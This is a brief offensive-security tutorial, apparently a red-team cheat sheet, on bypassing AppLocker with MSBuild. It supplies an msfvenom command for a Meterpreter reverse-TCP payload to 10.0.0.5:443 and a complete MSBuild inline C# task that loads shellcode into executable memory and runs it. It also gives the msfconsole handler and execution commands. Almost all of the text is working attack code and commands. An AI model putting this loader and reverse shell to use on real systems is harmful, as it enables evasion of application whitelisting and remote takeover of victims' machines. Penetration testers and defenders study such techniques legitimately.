MSBuild Shell

for bypassing applocker

Using MSBuild to Execute Shellcode in C#

Generate meterpreter shellode in c#:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp

Craft the XML

Insert the shellcode to the xml (INSERT_SHELLCODE_HERE ):

https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
	  <Target Name="Hello">
	    <ClassExample />
	  </Target>
	  <UsingTask
	    TaskName="ClassExample"
	    TaskFactory="CodeTaskFactory"
	    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	    <Task>
	    
	      <Code Type="Class" Language="cs">
	      <![CDATA[
		using System;
		using System.Runtime.InteropServices;
		using Microsoft.Build.Framework;
		using Microsoft.Build.Utilities;
		public class ClassExample :  Task, ITask
		{         
		  private static UInt32 MEM_COMMIT = 0x1000;          
		  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
		  [DllImport("kernel32")]
		    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
		  [DllImport("kernel32")]
		    private static extern IntPtr CreateThread(            
		    UInt32 lpThreadAttributes,
		    UInt32 dwStackSize,
		    UInt32 lpStartAddress,
		    IntPtr param,
		    UInt32 dwCreationFlags,
		    ref UInt32 lpThreadId           
		    );
		  [DllImport("kernel32")]
		    private static extern UInt32 WaitForSingleObject(           
		    IntPtr hHandle,
		    UInt32 dwMilliseconds
		    );          
		  public override bool Execute()
		  {
		    byte[] shellcode = new byte[] { INSERT_SHELLCODE_HERE };
		      
		      UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
			MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		      Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
		      IntPtr hThread = IntPtr.Zero;
		      UInt32 threadId = 0;
		      IntPtr pinfo = IntPtr.Zero;
		      hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		      WaitForSingleObject(hThread, 0xFFFFFFFF);
		      return true;
		  } 
		}     
	      ]]>
	      </Code>
	    </Task>
	  </UsingTask>
	</Project>

Power-up C2 Meterpreter

msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"

Build and Execute

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml

reference:

https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c